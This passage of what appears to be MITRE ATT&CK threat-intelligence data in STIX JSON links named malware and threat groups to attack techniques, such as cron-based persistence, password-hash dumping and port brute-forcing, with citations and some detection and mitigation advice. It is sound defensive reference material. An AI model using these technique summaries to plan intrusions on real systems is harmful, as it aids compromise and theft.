["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b76d4437-7d55-4369-b262-eb4ca52d6059", "type": "relationship", "created": "2020-05-05T15:26:30.455Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Carbon Black HotCroissant April 2020", "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/", "description": "Knight, S.. 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Retrieved May 1, 2020."}], "modified": "2020-05-05T15:26:30.455Z", "description": "[Rifdoor](https://attack.mitre.org/software/S0433) has been executed from malicious Excel or Word documents containing macros.(Citation: Carbon Black HotCroissant April 2020)", "relationship_type": "uses", "source_ref": "malware--44c75271-0e4d-496f-ae0a-a6d883a42a65", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b7760f6b-9b57-4fa8-895a-4f4a209aa366", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/", "description": "Hromcov\u00e1, Z. (2018, June 07). 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Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.\n\nNote: Network Analysis frameworks such as Zeek can be used to capture, decode, and alert on network protocols and packet contents. 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(2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[TinyTurla](https://attack.mitre.org/software/S0668) can upload files from a compromised host.(Citation: Talos TinyTurla September 2021)", "modified": "2022-04-14T14:56:17.735Z", "relationship_type": "uses", "source_ref": "malware--2a7c1bb7-cd12-456e-810d-ab3bf8457bab", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b7cd3903-1b6d-4163-b7cf-97dbdeefda05", "type": "relationship", "created": "2019-06-20T15:44:46.309Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/", "source_name": "ESET Zebrocy May 2019"}, {"source_name": "CISA Zebrocy Oct 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b", "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020."}], "modified": "2020-12-09T21:54:34.483Z", "description": "[Zebrocy](https://attack.mitre.org/software/S0251) uses cmd.exe to execute commands on the system.(Citation: ESET Zebrocy May 2019)(Citation: CISA Zebrocy Oct 2020) ", "relationship_type": "uses", "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b7d36798-e9f2-4474-836e-80b100a561e6", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye Periscope March 2018", "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}, {"source_name": "CISA AA21-200A APT40 July 2021", "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-200a", "description": "CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory \u2013 Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China\u2019s MSS Hainan State Security Department. Retrieved August 12, 2021."}], "modified": "2021-08-19T16:54:10.368Z", "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used C:\\Windows\\Debug and C:\\Perflogs as staging directories.(Citation: FireEye Periscope March 2018)(Citation: CISA AA21-200A APT40 July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b7d44225-31cf-4766-b585-debf0ed8d965", "type": "relationship", "created": "2020-07-15T19:18:56.463Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Juniper IcedID June 2020", "url": "https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware", "description": "Kimayong, P. (2020, June 18). COVID-19 and FMLA Campaigns used to install new IcedID banking malware. Retrieved July 14, 2020."}], "modified": "2020-07-15T19:18:56.463Z", "description": "[IcedID](https://attack.mitre.org/software/S0483) has been delivered via phishing e-mails with malicious attachments.(Citation: Juniper IcedID June 2020)", "relationship_type": "uses", "source_ref": "malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b7dc0db4-b1fb-4235-8b49-0792e7019377", "type": "relationship", "created": "2020-03-09T13:48:55.816Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-09T13:48:55.816Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b7dfc429-1f62-4bb1-933f-25dfd4fff9ad", "type": "relationship", "created": "2019-01-30T13:53:14.894Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET GreyEnergy Oct 2018", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf", "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."}], "modified": "2019-04-17T22:22:22.065Z", "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) modifies conditions in the Registry and adds keys.(Citation: ESET GreyEnergy Oct 2018)", "relationship_type": "uses", "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b7e456b1-ed5e-48f0-be6e-df3e7d6b4044", "type": "relationship", "created": "2020-11-16T19:26:58.857Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Lucifer June 2020", "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/", "description": "Hsu, K. et al. (2020, June 24). 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Retrieved November 16, 2020."}], "modified": "2020-11-20T16:15:38.463Z", "description": "[Lucifer](https://attack.mitre.org/software/S0532) has attempted to brute force TCP ports 135 (RPC) and 1433 (MSSQL) with the default username or list of usernames and    passwords.(Citation: Unit 42 Lucifer June 2020)", "relationship_type": "uses", "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c", "target_ref": "attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b7e97b7e-6ad6-4c11-85cc-c108c6282bb7", "type": "relationship", "created": "2022-03-30T14:26:51.865Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.865Z", "description": "Monitor for unusual login activity from unknown or abnormal locations, especially for privileged accounts (ex: Exchange administrator account).", "source_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", "target_ref": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b7f0b1ab-3a14-4944-aee0-8abdb24707c6", "type": "relationship", "created": "2021-03-31T12:48:05.857Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-08-26T16:42:35.839Z", "description": "Audit images deployed within the environment to ensure they do not contain any malicious components.", "relationship_type": "mitigates", "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", "target_ref": "attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b7f13afc-0e1c-4142-b05c-def10c17a8d6", "type": "relationship", "created": "2019-06-18T18:40:33.791Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Platt, J. and Reeves, J.. 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Retrieved June 18, 2019.", "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/", "source_name": "Flashpoint FIN 7 March 2019"}], "modified": "2020-01-29T17:32:00.170Z", "description": "[SQLRat](https://attack.mitre.org/software/S0390) has scripts that are responsible for deobfuscating additional scripts.(Citation: Flashpoint FIN 7 March 2019)", "relationship_type": "uses", "source_ref": "malware--8fc6c9e7-a162-4ca4-a488-f1819e9a7b06", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b7f2b493-8c91-4793-8206-52d302906b2b", "type": "relationship", "created": "2021-08-26T18:49:41.740Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Accenture MUDCARP March 2019", "url": "https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies", "description": "Accenture iDefense Unit. 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(2021, May 6). RotaJakiro, the Linux version of the OceanLotus. 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(2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.", "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-12T16:22:35.557Z", "description": "[STARWHALE](https://attack.mitre.org/software/S1037) has the ability to collect the IP address of an infected host.(Citation: DHS CISA AA22-055A MuddyWater February 2022)", "relationship_type": "uses", "source_ref": "malware--e355fc84-6f3c-4888-8e0a-d7fa9c378532", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b8012238-cfd9-4c5b-8759-8d86f0d6f933", "created": "2022-07-18T17:59:30.120Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "TrendMicro EarthLusca 2022", "description": "Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca\u2019s Operations. Retrieved July 1, 2022.", "url": "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-02T19:25:53.173Z", "description": "[Earth Lusca](https://attack.mitre.org/groups/G1006) has compromised victims by directly exploiting vulnerabilities of public-facing servers, including those associated with Microsoft Exchange and Oracle GlassFish.(Citation: TrendMicro EarthLusca 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034", "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b80516ee-1635-43da-babf-201d9f76c1d8", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 QUADAGENT July 2018", "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"}], "modified": "2020-03-17T02:18:35.267Z", "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) has a command to delete its Registry key and scheduled task.(Citation: Unit 42 QUADAGENT July 2018)", "relationship_type": "uses", "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--b8113737-894f-42de-b607-9d4905fcdfc3", "created": "2022-08-29T13:59:22.962Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Cybereason Bumblebee August 2022", "url": "https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control", "description": "Cybereason. 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OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."}], "modified": "2020-03-25T16:21:36.381Z", "description": "[POWERTON](https://attack.mitre.org/software/S0371) has the ability to dump password hashes.(Citation: FireEye APT33 Guardrail)", "relationship_type": "uses", "source_ref": "malware--e85cae1a-bce3-4ac4-b36b-b00acac0567b", "target_ref": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b817a0c2-e93a-4bbd-ad96-b8a820562bc1", "type": "relationship", "created": "2021-04-08T18:09:42.927Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Aqua Kinsing April 2020", "url": "https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability", "description": "Singer, G. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved April 1, 2021."}], "modified": "2021-04-09T14:32:22.155Z", "description": "[Kinsing](https://attack.mitre.org/software/S0599) has used crontab to download and run shell scripts every minute to ensure persistence.(Citation: Aqua Kinsing April 2020)", "relationship_type": "uses", "source_ref": "malware--d6e55656-e43f-411f-a7af-45df650471c5", "target_ref": "attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b81d449d-9ebd-4fb8-a77a-bb6bca93581b", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/", "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", "source_name": "ASERT Donot March 2018"}], "modified": "2019-04-25T00:09:23.202Z", "description": "[yty](https://attack.mitre.org/software/S0248) collects screenshots of the victim machine.(Citation: ASERT Donot March 2018)", "relationship_type": "uses", "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b82ab6ba-b590-440d-bfd1-75f18560a8b4", "type": "relationship", "created": "2020-07-15T20:33:40.790Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Juniper IcedID June 2020", "url": "https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware", "description": "Kimayong, P. (2020, June 18). COVID-19 and FMLA Campaigns used to install new IcedID banking malware. Retrieved July 14, 2020."}], "modified": "2020-07-15T20:33:40.790Z", "description": "[IcedID](https://attack.mitre.org/software/S0483) has used HTTPS in communications with C2.(Citation: Juniper IcedID June 2020)", "relationship_type": "uses", "source_ref": "malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b82cbc8a-72b9-4f2b-a978-88b066a73cfb", "type": "relationship", "created": "2021-09-28T20:06:11.030Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Crowdstrike Qakbot October 2020", "url": "https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/", "description": "CS. (2020, October 7). Duck Hunting with Falcon Complete: A Fowl Banking Trojan Evolves, Part 2. Retrieved September 27, 2021."}, {"source_name": "Cyberint Qakbot May 2021", "url": "https://blog.cyberint.com/qakbot-banking-trojan", "description": "Cyberint. (2021, May 25). Qakbot Banking Trojan. Retrieved September 27, 2021."}], "modified": "2021-09-30T12:48:38.951Z", "description": "[QakBot](https://attack.mitre.org/software/S0650) can make small changes to itself in order to change its checksum and hash value.(Citation: Crowdstrike Qakbot October 2020)(Citation: Cyberint Qakbot May 2021)", "relationship_type": "uses", "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", "target_ref": "attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b82ceba5-d988-472d-acd4-b7b1bc49ebbc", "type": "relationship", "created": "2019-06-13T15:56:45.879Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/create-a-token-object", "description": "Brower, N., Lich, B. (2017, April 19). Create a token object. Retrieved December 19, 2017.", "source_name": "Microsoft Create Token"}, {"url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/replace-a-process-level-token", "description": "Brower, N., Lich, B. (2017, April 19). Replace a process level token. Retrieved December 19, 2017.", "source_name": "Microsoft Replace Process Token"}, {"url": "https://technet.microsoft.com/en-us/library/bb490994.aspx", "description": "Microsoft TechNet. (n.d.). Runas. Retrieved April 21, 2017.", "source_name": "Microsoft runas"}], "modified": "2021-04-24T13:40:53.284Z", "description": "Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token.(Citation: Microsoft Replace Process Token)\n\nAdministrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command <code>runas</code>.(Citation: Microsoft runas)", "relationship_type": "mitigates", "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b82ea861-86df-4574-9727-f0d5828e9fe8", "created": "2020-06-18T17:27:09.381Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Unit 42 BackConfig May 2020", "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020.", "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-22T00:10:22.468Z", "description": "[BackConfig](https://attack.mitre.org/software/S0475) has used compressed and decimal encoded VBS scripts.(Citation: Unit 42 BackConfig May 2020)", "relationship_type": "uses", "source_ref": "malware--c13d9621-aca7-436b-ab3d-3a95badb3d00", "target_ref": "attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b82f51f9-74a0-43e1-b3c6-63df3a90c9eb", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/", "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", "source_name": "Palo Alto Networks BBSRAT"}], "modified": "2019-04-24T23:10:02.383Z", "description": "[BBSRAT](https://attack.mitre.org/software/S0127) can list running processes.(Citation: Palo Alto Networks BBSRAT)", "relationship_type": "uses", "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b8333924-1556-4c3f-b60f-105984e1f715", "type": "relationship", "created": "2021-01-13T18:23:50.496Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CrowdStrike SUNSPOT Implant January 2021", "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/", "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."}], "modified": "2021-01-13T18:23:50.496Z", "description": "[SUNSPOT](https://attack.mitre.org/software/S0562) decrypts [SUNBURST](https://attack.mitre.org/software/S0559), which was stored in AES128-CBC encrypted blobs.(Citation: CrowdStrike SUNSPOT Implant January 2021)  ", "relationship_type": "uses", "source_ref": "malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b835f71a-b961-4d69-a7eb-6bf682f433de", "created": "2022-08-11T22:17:47.227Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Checkpoint MosesStaff Nov 2021", "description": "Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022.", "url": "https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-11T19:48:29.568Z", "description": "[PyDCrypt](https://attack.mitre.org/software/S1032) has attempted to execute with WMIC.(Citation: Checkpoint MosesStaff Nov 2021)", "relationship_type": "uses", "source_ref": "malware--2ac41e8b-4865-4ced-839d-78e7852c47f3", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b83dc94a-1fd6-4c07-8f8e-fc9479b00346", "created": "2022-04-18T16:46:33.870Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-18T20:19:59.844Z", "description": "Monitor network traffic for suspicious/malicious behavior involving DHCP, such as changes in DNS and/or gateway parameters. Additionally, monitor network traffic for rogue DHCPv6 activity.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--59ff91cd-1430-4075-8563-e6f15f4f9ff5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--b842af96-8422-4b23-bd17-35d123c5a9b5", "type": "relationship", "created": "2021-11-29T21:18:40.003Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Iron Tiger April 2021", "url": "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html", "description": "Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}], "modified": "2021-11-29T21:18:40.003Z", "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has compromised the Able Desktop installer to gain access to victim's environments.(Citation: Trend Micro Iron Tiger April 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", "target_ref": "attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--b84414c0-18e9-4483-83db-555bd2880740", "created": "2021-10-01T01:57:31.869Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cado Security TeamTNT Worm August 2020", "description": "Cado Security. (2020, August 16). Team TNT \u2013 The First Crypto-Mining Worm to Steal AWS Credentials. Retrieved September 22, 2021.", "url": 